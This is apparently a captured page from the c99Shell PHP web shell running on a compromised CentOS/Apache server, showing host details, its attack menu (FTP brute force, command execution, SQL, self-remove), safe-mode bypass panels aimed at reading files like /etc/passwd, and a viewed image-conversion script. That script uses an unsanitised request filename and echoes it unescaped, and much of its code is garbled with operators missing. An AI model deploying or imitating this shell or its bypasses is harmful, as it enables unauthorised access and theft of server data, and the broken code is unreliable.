!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/picture/   drwxr-xr-x
Free 52.63 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     convertgrey.php (1.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
if ($fn<>""){
    
$input=$fn;
    
$outpu="";
    
$pGif strpos($input,".gif");
    if (
$pGif===false){
    }else{
        
$output substr_replace($input"grey"$pGif).substr($input$pGif);
    }
    
//rename imagename.jpg to imagenamegrey.jpg
    
$pJpg strpos($input,".jp");
    if (
$pJpg===false){
    }else{
        
$output substr_replace($input"grey"$pJpg).substr($input$pJpg);
    }
    
createGreyFromGifJpg($input$output);    
}


function 
createGreyFromGifJpg($input$output) {  
    
$fn strtolower($input);
    
$pGif strpos($fn,".gif");
    if (
$pGif===false){ }else { $bild imagecreatefromgif($input); }
    
$pJpg strpos($fn,".jp");
    if (
$pJpg===false){ }else { $bild imagecreatefromjpeg($input);  }
    
$x imagesx($bild);  
    
$y imagesy($bild);  
    for(
$i=0$i<$y$i++)    {  
        for(
$j=0$j<$x$j++) {  
            
$pos imagecolorat($bild$j$i);  
            
$f imagecolorsforindex($bild$pos);  
            
$gst $f["red"]*0.15 $f["green"]*0.5 $f["blue"]*0.35;  
            
$col imagecolorresolve($bild$gst$gst$gst);  
            
imagesetpixel($bild$j$i$col);  
        }  
    }
    if (
$pGif===false){ }else { imagegif($bild,$output,90); }
    if (
$pJpg===false){ }else { imagejpeg($bild,$output,90);  }

?>
<p align=center>
<table align="center" height=100% width=100% border=5>
<tr><td valign="middle" align="center">
<form action=convertgrey.php method="POST">
Filename <input type="text" name=fn size=50 value=<?=$fn?>><input type=submit>
</td></tr>
</form>
</table>
</p>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0064 ]--